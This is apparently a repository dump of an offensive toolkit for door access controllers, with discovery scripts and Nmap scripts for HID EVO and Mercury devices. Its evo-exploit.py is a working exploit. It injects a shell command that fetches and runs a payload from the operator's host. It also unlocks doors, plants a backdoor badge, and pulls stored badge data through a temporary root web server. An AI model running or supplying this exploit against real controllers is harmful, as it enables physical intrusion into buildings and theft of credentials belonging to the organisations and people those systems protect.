Recreates HID's discoveryd structure to identify door HID Edge EVO and VertX EVO door controllers. 32 | **Output:** 33 | ``` 34 | Nmap scan report 10.0.0.1 35 | Host is up (0.12s latency). 36 | 37 | PORT STATE SERVICE 38 | 4070/udp open|filtered unknown 39 | | hid-discoveryd-enum: 40 | | MAC Address: 00:06:8E:FF:FF:FF 41 | | Host Name: EdgeEH400-001 42 | | Internal IP: 10.0.0.1 43 | | Device Type: EH400 44 | | Firmware Version: 3.5.1.1483 45 | |_ Build Date: 07/02/2015 46 | MAC Address: 00:06:8E:XX:XX:XX (HID) 47 | ``` 48 | -------------------------------------------------------------------------------- /hid/evo-discover.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # By Mike Kelly 3 | # exfil.co 4 | # @lixmk 5 | # 6 | # This script is part of the Concierge Toolkit 7 | # https://github.com/lixmk/Concierge 8 | # 9 | # Used HID's discoveryd service to identify HID EVO door controllers in a cidr range. 10 | # 11 | 12 | import socket 13 | import argparse 14 | import netaddr 15 | import sys 16 | from time import sleep 17 | from os import remove 18 | from os import path 19 | 20 | # Discovery HID Door Controllers 21 | def hid_evo_discover(): 22 | try: 23 | # Creating socket 24 | s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) 25 | s.setblocking(0) 26 | # Sending discover command 27 | pkt0 = "discover;013;" 28 | s.sendto(pkt0, (str(ip), 4070)) 29 | s.settimeout(0.5) 30 | # Parsing response 31 | rspn = s.recv(1024) 32 | s.close 33 | # Writing response to csv 34 | if rspn.split(";")[0] == "discovered": 35 | with open("hid-evo-details.csv","a+")as f: 36 | f.write(str(ip)+","+rspn.split(";")[6]+","+rspn.split(";")[3]+","+rspn.split(";")[4]+","+rspn.split(";")[2]+","+rspn.split(";")[7]+","+rspn.split(";")[8]+"\n") 37 | # Printing to screen 38 | print "[+] HID EVO response received from: "+str(ip) 39 | print " Device Type: "+rspn.split(";")[6] 40 | print " Hostname: "+rspn.split(";")[3] 41 | print " Internal IP: "+rspn.split(";")[4] 42 | print " MAC Address: "+rspn.split(";")[2] 43 | print " Firmware Version: "+rspn.split(";")[7] 44 | print " Build Date: "+rspn.split(";")[8] 45 | except (socket.timeout, socket.error): 46 | s.close 47 | 48 | if __name__ == '__main__': 49 | parser = argparse.ArgumentParser(usage='./hid-evo-discover.py -r 10.0.0.1/24') 50 | parser.add_argument('-r', '--rhosts', required=True, help='Target CIDR Range') 51 | args = parser.parse_args() 52 | rhosts = args.rhosts 53 | try: 54 | print "#############################################" 55 | print "# Concierge Toolkit #" 56 | print "# #" 57 | print "# HID EVO door controller discovery #" 58 | print "#############################################" 59 | print "" 60 | print "[!] This script is slow. The preferred method of discovery is using the nmap .nse in `utils/nse/`." 61 | print "" 62 | sleep(3) 63 | print "[*] Starting HID EVO door controller discovery." 64 | # Creating csv if not already there 65 | if path.isfile("hid-evo-details.csv") == 0: 66 | with open("hid-evo-details.csv","a+")as f: 67 | f.write("rhost,device type,hostname,reported ip,mac address,firmware version,build date\n") 68 | # Cycling discovery through cidr range 69 | for ip in netaddr.IPNetwork(rhosts).iter_hosts(): 70 | hid_evo_discover() 71 | except (KeyboardInterrupt, SystemExit): 72 | print "" 73 | print "[!] Keyboard Interrupt: Stopping all processes" 74 | sys.exit() 75 | print "[*] HID EVO discovery of "+rhosts+" complete." 76 | -------------------------------------------------------------------------------- /hid/evo-exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # By Mike Kelly 3 | # exfil.co 4 | # @lixmk 5 | # 6 | # This script is part of the Concierge Toolkit 7 | # https://github.com/lixmk/Concierge 8 | # 9 | # This script will exploit HID EVO Door controllers to issue controller specific commands. 10 | # Available commands are: unlock, lock, blink, exfil, and implant. 11 | # 12 | # Check README.md for more information about these options. 13 | # 14 | 15 | import socket 16 | import argparse 17 | import SimpleHTTPServer 18 | import SocketServer 19 | import threading 20 | import urllib2 21 | import re 22 | from time import sleep 23 | from os import remove 24 | from os import path 25 | 26 | #Custom except for V1000 related error 27 | class V1000(Exception): 28 | pass 29 | 30 | # Pull HID EVO Information 31 | def discover(rhost, rport): 32 | # Creating socket 33 | s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) 34 | s.setblocking(0) 35 | # Discover command packet data 36 | pkt0 = "discover;013;" 37 | print "[*] Sending Discovery Packet..." 38 | # Sending packet 39 | s.sendto(pkt0, (rhost, rport)) 40 | s.settimeout(1) 41 | # Setting global vars 42 | global rspn 43 | global rmac 44 | global boardtype 45 | # Parsing discovery response 46 | rspn = s.recv(1024) 47 | rmac = rspn.split(";")[2] 48 | boardtype = rspn.split(";")[6] 49 | print "[+] Response: "+rspn.split(";")[0] 50 | print "[+] Device Type: "+rspn.split(";")[6] 51 | print "[+] Hostname: "+rspn.split(";")[3] 52 | print "[+] Internal IP: "+rspn.split(";")[4] 53 | print "[+] MAC Address: "+rspn.split(";")[2] 54 | print "[+] Firmware Version: "+rspn.split(";")[7] 55 | print "[+] Build Date: "+rspn.split(";")[8] 56 | print "" 57 | s.close 58 | 59 | def inject(rhost, rport): 60 | # Converting local IP address to decimal to save payload space 61 | ipbits = lhost.split('.') 62 | abcd = (int(ipbits[0])*256**3) + (int(ipbits[1])*256**2) + (int(ipbits[2])*256) + int(ipbits[3]) 63 | local = str(abcd).rstrip('L') 64 | # Creating socket 65 | s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) 66 | s.setblocking(0) 67 | # Starting local HTTP Server 68 | SocketServer.TCPServer.allow_reuse_address = True 69 | httpd = SocketServer.TCPServer(("", lport), SimpleHTTPServer.SimpleHTTPRequestHandler) 70 | th = threading.Thread(target=httpd.serve_forever) 71 | th.daemon = True 72 | th.start() 73 | # Checking device type for potential warnings 74 | boardtype = rspn.split(";")[6] 75 | if boardtype != "EH400" and boardtype != "V2000": 76 | if boardtype == "V2-V1000" or boardtype == "V1000": 77 | print "[!] Device appears to be a VertX V1000. This device has not been thoroughly tested." 78 | print "[!] This might not work..." 79 | print "" 80 | else: 81 | print "[!] Unrecognized device type "+boardtype+"." 82 | print "[!] Assuming most common configuration." 83 | print "[!] Please submit any unrecognized device types to Concierge github repo issue tracker. https://github.com/lixmk/Concierge" 84 | print "[!] This might not work..." 85 | print "" 86 | # Defining payload and sending injection 87 | pkt1 = "command_blink_on;044;"+rmac+";1`wget http://"+local+":"+str(lport)+"/c -O-|/bin/sh`;" 88 | print "[*] Injecting command from: http://"+lhost+":"+str(lport) 89 | s.sendto(pkt1, (rhost, rport)) 90 | # Sleeping longer for V2000 and V1000 91 | if boardtype == "V2000" or boardtype == "V1000": 92 | sleep(5) 93 | else: 94 | sleep(1) 95 | s.close 96 | 97 | if __name__ == '__main__': 98 | parser = argparse.ArgumentParser(usage='./hidevo-exploit.py -r 10.0.0.1 -l 192.168.1.1 -c exfil') 99 | parser.add_argument('-r', '--rhost', required=True, help='IP of target door controller') 100 | parser.add_argument('-l', '--lhost', required=True, help='Local Host IP') 101 | parser.add_argument('-p', '--lport', type=int, default="8080", help='Local port to host commands (default: %(default)s)') 102 | parser.add_argument('-c', '--cmd',required=True, help='Command (unlock, lock, blink, exfil, implant)') 103 | args = parser.parse_args() 104 | rhost = args.rhost 105 | rport = 4070 106 | lport = args.lport 107 | lhost = args.lhost 108 | 109 | print "#############################################" 110 | print "# Concierge Toolkit #" 111 | print "# #" 112 | print "# HID EVO Controller ZDI-16-223 Exploit #" 113 | print "#############################################" 114 | print "" 115 | print "[*] Targeting HID EVO Controller at: "+rhost 116 | try: 117 | # Implant Badge Command 118 | if args.cmd == 'implant': 119 | discover(rhost,rport) 120 | # Generating payloads 121 | if boardtype == "EH400": 122 | with open("c","w+")as f: 123 | f.write(r"echo -n -e \\x00\\x06\\x0a\\x73\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xfe\\x00\\x00\\x00\\x00\\x00\\x0a\\x00 >> /mnt/apps/data/config/IdentDB; echo -n -e \\xff\\xff\\xff\\xff\\x0f\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 >> /mnt/apps/data/config/AccessDB; /etc/init.d/access restart; /etc/init.d/ident restart") 124 | elif boardtype == "V2000": 125 | with open("c","w+")as f: 126 | f.write(r"echo \\x00\\x06\\x77\\x73\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xfe\\x00\\x00\\x00\\x00\\x00\\x77\\x00 | tr -d '\012' | tr '\167' '\012'>> /mnt/data/config/IdentDB; echo \\xff\\xff\\xff\\xff\\x0f\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 | tr -d \"\n\" >> /mnt/data/config/AccessDB; /etc/init.d/access restart; /etc/init.d/ident restart") 127 | elif boardtype == "V2-1000": 128 | with open("c","w+")as f: 129 | f.write(r"echo -n -e \\x00\\x06\\x0a\\x73\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xfe\\x00\\x00\\x00\\x00\\x00\\x0a\\x00 >> /mnt/apps/data/config/IdentDB; echo -n -e \\xff\\xff\\xff\\xff\\x0f\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 >> /mnt/apps/data/config/AccessDB; /etc/init.d/access restart; /etc/init.d/ident restart") 130 | else: 131 | with open("c","w+")as f: 132 | f.write(r"echo -n -e \\x00\\x06\\x0a\\x73\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xfe\\x00\\x00\\x00\\x00\\x00\\x0a\\x00 >> /mnt/apps/data/config/IdentDB; echo -n -e \\xff\\xff\\xff\\xff\\x0f\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 >> /mnt/apps/data/config/AccessDB; /etc/init.d/access restart; /etc/init.d/ident restart") 133 | inject(rhost,rport) 134 | remove("c") 135 | print "[*] Backdoor badge info:" 136 | print "[+] Facility Code:3 Card Number:1337" 137 | print "[+] PM3 Hex: 2004060a73" 138 | print "[+] Encrypted iClass Blk7: 8b0c4cf554bca3fe" 139 | print "" 140 | print "[*] Implant Badge injection complete." 141 | 142 | # Unlock Command 143 | if args.cmd == 'unlock': 144 | discover(rhost,rport) 145 | # Generating payloads for different devices 146 | if boardtype == "EH400": 147 | with open("c","w+")as f: 148 | f.write('export QUERY_STRING="?ID=0&BoardType=V100&Description=Strike&Relay=1&Action=1";/mnt/apps/web/cgi-bin/diagnostics_execute.cgi') 149 | elif boardtype == "V2000": 150 | with open("c","w+")as f: 151 | f.write('export QUERY_STRING="?ID=0&BoardType=V100&Description=Strike&Relay=1&Action=1";/mnt/apps/web/cgi-bin/diagnostics_execute.cgi;export QUERY_STRING="?ID=0&BoardType=V100&Description=Strike&Relay=2&Action=1";/mnt/apps/web/cgi-bin/diagnostics_execute.cgi;') 152 | elif boardtype == "V2-V1000" or boardtype == "V1000": 153 | with open("c","w+")as f: 154 | f.write('export QUERY_STRING="?ID=1&BoardType=V100&Description=Strike&Relay=1&Action=1";/mnt/apps/web/cgi-bin/diagnostics_execute.cgi') 155 | else: 156 | with open("c","w+")as f: 157 | f.write('export QUERY_STRING="?ID=0&BoardType=V100&Description=Strike&Relay=1&Action=1";/mnt/apps/web/cgi-bin/diagnostics_execute.cgi') 158 | # Sending injection 159 | inject(rhost,rport) 160 | remove("c") 161 | print "[*] Unlock injection complete." 162 | 163 | # Lock Command 164 | if args.cmd == 'lock': 165 | discover(rhost,rport) 166 | # Generating payloads for different devices 167 | if boardtype == "EH400": 168 | with open("c","w+")as f: 169 | f.write('export QUERY_STRING="?ID=0&BoardType=V100&Description=Strike&Relay=1&Action=0";/mnt/apps/web/cgi-bin/diagnostics_execute.cgi') 170 | elif boardtype == "V2000": 171 | with open("c","w+")as f: 172 | f.write('export QUERY_STRING="?ID=0&BoardType=V100&Description=Strike&Relay=1&Action=0";/mnt/apps/web/cgi-bin/diagnostics_execute.cgi;export QUERY_STRING="?ID=0&BoardType=V100&Description=Strike&Relay=2&Action=0";/mnt/apps/web/cgi-bin/diagnostics_execute.cgi;') 173 | elif boardtype == "V2-V1000" or boardtype == "V1000": 174 | with open("c","w+")as f: 175 | f.write('export QUERY_STRING="?ID=1&BoardType=V100&Description=Strike&Relay=1&Action=0";/mnt/apps/web/cgi-bin/diagnostics_execute.cgi') 176 | else: 177 | with open("c","w+")as f: 178 | f.write('export QUERY_STRING="?ID=0&BoardType=V100&Description=Strike&Relay=1&Action=0";/mnt/apps/web/cgi-bin/diagnostics_execute.cgi') 179 | # Sending injection 180 | inject(rhost,rport) 181 | remove("c") 182 | print "[*] Lock injection complete." 183 | 184 | # Cycle Reader LED Command 185 | if args.cmd == 'blink': 186 | discover(rhost,rport) 187 | # Generating payloads for different devices 188 | if boardtype == "EH400": 189 | with open("c","w+")as f: 190 | f.write('i="0"; while [ $i -lt 10 ]; do export QUERY_STRING="?ID=0&BoardType=V100&Description=LED_GREEN&Relay=1&Action=1";/mnt/apps/web/cgi-bin/diagnostics_execute.cgi;export QUERY_STRING="?ID=0&BoardType=V100&Description=LED_GREEN&Relay=1&Action=0";/mnt/apps/web/cgi-bin/diagnostics_execute.cgi;export QUERY_STRING="?ID=0&BoardType=V100&Description=LED_BLUE&Relay=1&Action=1";/mnt/apps/web/cgi-bin/diagnostics_execute.cgi;export QUERY_STRING="?ID=0&BoardType=V100&Description=LED_BLUE&Relay=1&Action=0";/mnt/apps/web/cgi-bin/diagnostics_execute.cgi;i=`expr $i + 1`; done') 191 | elif boardtype == "V2000": 192 | with open("c","w+")as f: 193 | f.write('i="0"; while [ $i -lt 10 ]; do export QUERY_STRING="?ID=0&BoardType=V100&Description=LED&Relay=1&Action=1";/mnt/apps/web/cgi-bin/diagnostics_execute.cgi;export QUERY_STRING="?ID=0&BoardType=V100&Description=LED&Relay=2&Action=1";/mnt/apps/web/cgi-bin/diagnostics_execute.cgi;export QUERY_STRING="?ID=0&BoardType=V100&Description=LED&Relay=1&Action=0";/mnt/apps/web/cgi-bin/diagnostics_execute.cgi;export QUERY_STRING="?ID=0&BoardType=V100&Description=LED&Relay=2&Action=0";/mnt/apps/web/cgi-bin/diagnostics_execute.cgi;i=`expr $i + 1`; done') 194 | elif boardtype == "V2-V1000" or boardtype == "V1000": 195 | with open("c","w+")as f: 196 | f.write('i="0"; while [ $i -lt 10 ]; do export QUERY_STRING="?ID=1&BoardType=V100&Description=LED&Relay=1&Action=1";/mnt/apps/web/cgi-bin/diagnostics_execute.cgi;export QUERY_STRING="?ID=1&BoardType=V100&Description=LED&Relay=2&Action=1";/mnt/apps/web/cgi-bin/diagnostics_execute.cgi;export QUERY_STRING="?ID=1&BoardType=V100&Description=LED&Relay=1&Action=0";/mnt/apps/web/cgi-bin/diagnostics_execute.cgi;export QUERY_STRING="?ID=1&BoardType=V100&Description=LED&Relay=2&Action=0";/mnt/apps/web/cgi-bin/diagnostics_execute.cgi;i=`expr $i + 1`; done') 197 | else: 198 | with open("c","w+")as f: 199 | f.write('i="0"; while [ $i -lt 10 ]; do export QUERY_STRING="?ID=0&BoardType=V100&Description=LED&Relay=1&Action=1";/mnt/apps/web/cgi-bin/diagnostics_execute.cgi;export QUERY_STRING="?ID=0&BoardType=V100&Description=LED&Relay=2&Action=1";/mnt/apps/web/cgi-bin/diagnostics_execute.cgi;export QUERY_STRING="?ID=0&BoardType=V100&Description=LED&Relay=1&Action=0";/mnt/apps/web/cgi-bin/diagnostics_execute.cgi;export QUERY_STRING="?ID=0&BoardType=V100&Description=LED&Relay=2&Action=0";/mnt/apps/web/cgi-bin/diagnostics_execute.cgi;i=`expr $i + 1`; done') 200 | # Sending injection 201 | inject(rhost,rport) 202 | remove("c") 203 | print "[*] Blink injection complete." 204 | 205 | # Recover Stored Badges Command 206 | if args.cmd == 'exfil': 207 | discover(rhost,rport) 208 | # Generating payloads for different devices 209 | if boardtype == "EH400": 210 | with open("c","w+")as f: 211 | f.write('echo \'server.document-root = "/"\'> /tmp/cfg; echo \'server.port=8080\' >> /tmp/cfg; /usr/sbin/lighttpd -f /tmp/cfg; sleep 15; ps | grep /tmp/cfg | grep light | cut -d " " -f 2 | xargs kill; rm /tmp/cfg') 212 | elif boardtype == "V2000": 213 | with open("c","w+")as f: 214 | f.write('echo \'WorkingRoot /\'> /tmp/boa.conf; echo \'Port 8080\'>> /tmp/boa.conf; echo \'User root\'>> /tmp/boa.conf; echo \'Group root\'>> /tmp/boa.conf; echo \'ErrorLog /dev/null\'>> /tmp/boa.conf; echo \'AccessLog /dev/null\'>> /tmp/boa.conf; echo \'UseLocaltime\'>> /tmp/boa.conf; echo \'DocumentRoot /mnt/data/config\'>> /tmp/boa.conf; echo \'UserDir /mnt/data/config\'>> /tmp/boa.conf; echo \'DirectoryIndex index.html\'>> /tmp/boa.conf; echo \'MimeTypes /etc/httpd/conf/mime.types\'>> /tmp/boa.conf; echo \'DefaultType text/plain\'>> /tmp/boa.conf; echo \'CGIPath /bin:/usr/bin:/mnt/apps/web/cgi-bin\'>> /tmp/boa.conf; echo \'ScriptAlias /axis-cgi/ /usr/html/axis-cgi/\'>> /tmp/boa.conf; echo \'ScriptAlias /admin-bin/ /usr/html/admin-bin/\'>> /tmp/boa.conf; echo \'ScriptAlias /cgi-bin/ /mnt/apps/web/cgi-bin/\'>> /tmp/boa.conf; echo \'PasswdFile /tmp/passwd\'>> /tmp/boa.conf; echo \'GroupFile /etc/group\'>> /tmp/boa.conf; echo \'root:password:0:0:Administrator:/:/bin/sh\' > /tmp/passwd; /bin/boa -c /tmp/; sleep 15; ps | grep \'/bin/boa -c /tmp/\' | grep -v grep | cut -d " " -f 1 | xargs kill; rm /tmp/boa.conf /tmp/passwd') 215 | elif boardtype == "V2-V1000" or boardtype == "V1000": 216 | print "[!] This device appears to be a VertX V1000." 217 | raise V1000 218 | else: 219 | with open("c","w+")as f: 220 | f.write('echo \'WorkingRoot /\'> /tmp/boa.conf; echo \'Port 8080\'>> /tmp/boa.conf; echo \'User root\'>> /tmp/boa.conf; echo \'Group root\'>> /tmp/boa.conf; echo \'ErrorLog /dev/null\'>> /tmp/boa.conf; echo \'AccessLog /dev/null\'>> /tmp/boa.conf; echo \'UseLocaltime\'>> /tmp/boa.conf; echo \'DocumentRoot /mnt/data/config\'>> /tmp/boa.conf; echo \'UserDir /mnt/data/config\'>> /tmp/boa.conf; echo \'DirectoryIndex index.html\'>> /tmp/boa.conf; echo \'MimeTypes /etc/httpd/conf/mime.types\'>> /tmp/boa.conf; echo \'DefaultType text/plain\'>> /tmp/boa.conf; echo \'CGIPath /bin:/usr/bin:/mnt/apps/web/cgi-bin\'>> /tmp/boa.conf; echo \'ScriptAlias /axis-cgi/ /usr/html/axis-cgi/\'>> /tmp/boa.conf; echo \'ScriptAlias /admin-bin/ /usr/html/admin-bin/\'>> /tmp/boa.conf; echo \'ScriptAlias /cgi-bin/ /mnt/apps/web/cgi-bin/\'>> /tmp/boa.conf; echo \'PasswdFile /tmp/passwd\'>> /tmp/boa.conf; echo \'GroupFile /etc/group\'>> /tmp/boa.conf; echo \'root:password:0:0:Administrator:/:/bin/sh\' > /tmp/passwd; /bin/boa -c /tmp/; sleep 15; ps | grep \'/bin/boa -c /tmp/\' | grep -v grep | cut -d " " -f 1 | xargs kill; rm /tmp/boa.conf /tmp/passwd') 221 | # Sending injection 222 | inject(rhost,rport) 223 | remove("c") 224 | # Pulling IdentDB file 225 | if boardtype == "EH400": 226 | idb = urllib2.urlopen("http://"+rhost+":8080/mnt/apps/data/config/IdentDB") 227 | elif boardtype == "V2-V1000" or boardtype == "V2000": 228 | idb = urllib2.urlopen("http://"+rhost+":8080/IdentDB") 229 | else: 230 | idb = urllib2.urlopen("http://"+rhost+":8080/IdentDB") 231 | idbhex = idb.read().encode('hex') 232 | idbarray = re.findall('.{56}',idbhex) 233 | # Parsing IdentDB file and saving to csv 234 | print "[*] Parsing IdentDB..." 235 | if path.isfile("hid-evo-badges.csv") == 0: 236 | with open("hid-evo-badges.csv","a+")as f: 237 | f.write("badge hex,controller ip,controller hostname\n") 238 | for i in range(len(idbarray)): 239 | with open("hid-evo-badges.csv","a+")as f: 240 | f.write(idbarray[i][:10]+","+rhost+","+rspn.split(";")[3]+"\n") 241 | print "[+] "+str(len(idbarray))+" badges recovered and added to hid-evo-badges.csv" 242 | # Catching known errors 243 | except (KeyboardInterrupt, SystemExit) as e: 244 | print "Keyboard Interrupt: Dying" 245 | except (socket.timeout) as e: 246 | print "[!] No response from "+rhost+": Exiting" 247 | except (urllib2.URLError) as e: 248 | print "[!] Connection refused. Exfil attempt failed." 249 | except V1000: 250 | print "[!] Stored badge recovery does not currently work on VertX V1000 devices." 251 | print "[!] Exiting." 252 | -------------------------------------------------------------------------------- /hid/nse/hid-evo-discover.nse: -------------------------------------------------------------------------------- 1 | local comm = require "comm" 2 | local nmap = require "nmap" 3 | local shortport = require "shortport" 4 | local stdnse = require "stdnse" 5 | local string = require "string" 6 | local table = require "table" 7 | 8 | description = [[ 9 | Uses the discoveryd service on udp port 4070 to enumerate information from HID EVO Door Controllers. 10 | ]] 11 | 12 | author = "Mike Kelly (@lixmk)" 13 | license = "Same as Nmap--See https://nmap.org/book/man-legal.html" 14 | categories = {"discovery", "safe"} 15 | 16 | --- 17 | -- @usage 18 | -- nmap -sU -p 4070 --script=hid-evo-discover 19 | -- 20 | -- @output 21 | -- PORT STATE SERVICE 22 | -- 4070/udp open|filtered unknown 23 | -- | hid-discoveryd-enum: 24 | -- | MAC Address: 00:06:8E:XX:XX:XX 25 | -- | Host Name: EdgeEH400-001 26 | -- | Internal IP: 10.0.0.1 27 | -- | Device Type: EH400 28 | -- | Firmware Version: 3.5.1.1483 29 | -- |_ Build Date: 07/02/2015 30 | -- MAC Address: 00:06:8E:XX:XX:XX (HID) 31 | --- 32 | 33 | portrule = shortport.portnumber(4070, "udp") 34 | 35 | action = function(host, port) 36 | 37 | local socket = nmap.new_socket() 38 | local status, err = socket:connect(host, port) 39 | local status, err = socket:send('discover;013;') 40 | local status, data = socket:receive() 41 | local fld = stdnse.strsplit(";", data) 42 | local output = {} 43 | table.insert(output, stdnse.strjoin(" ", {"MAC Address:", fld[3]})) 44 | table.insert(output, stdnse.strjoin(" ", {"Host Name:", fld[4]})) 45 | table.insert(output, stdnse.strjoin(" ", {"Internal IP:", fld[5]})) 46 | table.insert(output, stdnse.strjoin(" ", {"Device Type:", fld[7]})) 47 | table.insert(output, stdnse.strjoin(" ", {"Firmware Version:", fld[8]})) 48 | table.insert(output, stdnse.strjoin(" ", {"Build Date:", fld[9]})) 49 | if string.match(fld[1], "discovered") then 50 | return stdnse.format_output(true, output) 51 | end 52 | end 53 | -------------------------------------------------------------------------------- /mercury/README.md: -------------------------------------------------------------------------------- 1 | # Concierge: Mercury 2 | Various scripts (well, script) to discover and exploit Mercury Security OEM systems. Several vendors rebrand Mercury devices or use Mercury firmware on their own hardware. 3 | 4 | ## ep-discover-snmp.py 5 | Makes an SNMP calls and parses responses to identify Mercury Security OEM door controllers. This script is known to identify EP-1501 and EP-1502 (and their many vanity names) door controllers but may also work for other Mercury OEM systems. 6 | 7 | **Usage:** `./ep-discover-snmp.py -r 10.0.0.1/24` 8 | 9 | **Note:** This script is slow. The preferred method of discovery is using the nmap NSE script in the utils/nse/ directory. 10 | 11 | ## ./nse/mercury-ep-snmp-discover.nse 12 | **Usage:** `nmap -sU -p 161 --script=mercury-ep-snmp-discover.nse ` 13 | Leverages SNMP to identify door controllers manufactured by, or using firmware from, Mercury Security. Mercury door controllers often rebranded by several other vendors including: Lenel, Honeywell, Premisys. Additionally, other manufactures use Mercury Security's firmware on their devices (such as KeriSystems' NXT series). 14 | **Output:** 15 | ``` 16 | Nmap scan report 10.0.0.1 17 | Host is up (0.12s latency). 18 | 19 | PORT STATE SERVICE 20 | 161/udp open snmp 21 | | mercury-ep-snmp-discover: 22 | | Description: EP-1502 Configuration Manager 23 | | Device Type: EP-1502 24 | | Firmware Verison: 1.19.4 25 | |_ Build Number: 415 26 | ``` 27 | -------------------------------------------------------------------------------- /mercury/ep-discover-snmp.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # By Mike Kelly 3 | # exfil.co 4 | # @lixmk 5 | # 6 | # This script is part of the Concierge Toolkit 7 | # https://github.com/lixmk/Concierge 8 | # 9 | # Uses SNMP to discover Mercury Security door controllers 10 | # Mercury controllers (hardware and/or firmware) are rebranded by several other vendors. 11 | # No brand parsing is done outside of the device provided information. 12 | # 13 | 14 | import argparse 15 | import netaddr 16 | import sys 17 | from easysnmp import snmp_get 18 | from os import path 19 | 20 | def pulloid(ip): 21 | global counter 22 | counter = 0 23 | desc = str(snmp_get('iso.3.6.1.2.1.1.1.0', hostname=str(ip), community='public', version=2)).split("'")[1] 24 | if "Firmware Version" in desc and "Build" in desc: 25 | fwv = desc.replace("Version ", "Version:").replace(" Build ", ":Build:").split(':')[1] 26 | bnum = desc.replace("Version ", "Version:").replace(" Build ", ":Build:").split(':')[3] 27 | model = str(snmp_get('iso.3.6.1.2.1.1.5.0', hostname=str(ip), community='public', version=2)).split("'")[1].replace(" (contains binary)", "") 28 | with open("ep-snmp-details.csv","a+")as f: 29 | f.write(str(ip)+","+model+","+fwv+","+bnum+","+desc+"\n") 30 | print '[+] Found "'+model+'" Mercury OEM at '+str(ip) 31 | counter += 1 32 | 33 | if __name__ == '__main__': 34 | parser = argparse.ArgumentParser(usage='./ep-discover-snmp.py -r 10.0.0.1/24') 35 | parser.add_argument('-r', '--cidr', required=True, help='Target IP address or CIDR range') 36 | args = parser.parse_args() 37 | cidr = args.cidr 38 | 39 | print "#############################################" 40 | print "# Concierge Toolkit #" 41 | print "# #" 42 | print "# Mercury OEM Controller SNMP Discovery #" 43 | print "#############################################" 44 | print "" 45 | print "[*] Starting door controller discovery." 46 | 47 | if path.isfile("ep-snmp-details.csv") == 0: 48 | with open("ep-snmp-details.csv","a+")as f: 49 | f.write("rhost,model name,firmware version,build number,full description\n") 50 | for ip in netaddr.IPNetwork(cidr).iter_hosts(): 51 | try: 52 | pulloid(ip) 53 | except (KeyboardInterrupt, SystemExit)as e: 54 | print "Keyboard Interrupt: Stopping all processes" 55 | sys.exit() 56 | except (IndexError): 57 | pass 58 | 59 | print "" 60 | print "[*] Mercury OEM discovery of "+cidr+" complete." 61 | print "[*] "+str(counter)+" device(s) discovered." 62 | 63 | 64 | -------------------------------------------------------------------------------- /mercury/nse/mercury-ep-snmp-discover.nse: -------------------------------------------------------------------------------- 1 | local nmap = require "nmap" 2 | local shortport = require "shortport" 3 | local snmp = require "snmp" 4 | local string = require "string" 5 | local stdnse = require "stdnse" 6 | 7 | description = [[ 8 | Leverages SNMP to identify door controllers manufactured by, or using firmware from, Mercury Security. 9 | ]] 10 | 11 | --- 12 | -- @usage 13 | -- nmap -sU -p 161 --script=mercury-ep-snmp-discover.nse 10.0.0.1 14 | -- 15 | -- @output 16 | -- PORT STATE SERVICE 17 | 161/udp open snmp 18 | -- | mercury-ep-snmp-discover:: 19 | -- | Description: EP-1502 Configuration Manager 20 | -- | Device Type: EP-1502 21 | -- | Firmware Verison: 1.19.4 22 | -- |_ Build Number: 415 23 | --- 24 | author = "Mike Kelly (@lixmk)" 25 | license = "Same as Nmap--See https://nmap.org/book/man-legal.html" 26 | categories = {"default", "discovery", "safe"} 27 | dependencies = {"snmp-brute"} 28 | 29 | portrule = shortport.portnumber(161, "udp", {"open", "open|filtered"}) 30 | 31 | --- 32 | action = function(host, port) 33 | 34 | local snmpHelper = snmp.Helper:new(host, port) 35 | snmpHelper:connect() 36 | local status, sysdescr = snmpHelper:get({reqId=28428}, "1.3.6.1.2.1.1.1.0") 37 | if not status then 38 | return 39 | end 40 | nmap.set_port_state(host, port, "open") 41 | local status, devtype = snmpHelper:get({reqId=28428}, "1.3.6.1.2.1.1.5.0") 42 | description = stdnse.strsplit(";", string.gsub(string.gsub(sysdescr[1][1], " Firmware Version ", ";Firmware Verion;", 1), " Build ", ";Build;", 1)) 43 | local output = {} 44 | table.insert(output, stdnse.strjoin(" ", {"Description:", description[1]})) 45 | table.insert(output, stdnse.strjoin(" ", {"Device Type:", devtype[1][1]})) 46 | table.insert(output, stdnse.strjoin(" ", {"Firmware Verison:", description[3]})) 47 | table.insert(output, stdnse.strjoin(" ", {"Build Number:", description[5]})) 48 | if string.match(sysdescr[1][1], "Firmware Version.*Build") then 49 | return stdnse.format_output(true, output) 50 | end 51 | end 52 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | easysnmp==0.2.5 2 | futures==3.2.0 3 | Logbook==1.3.0 4 | 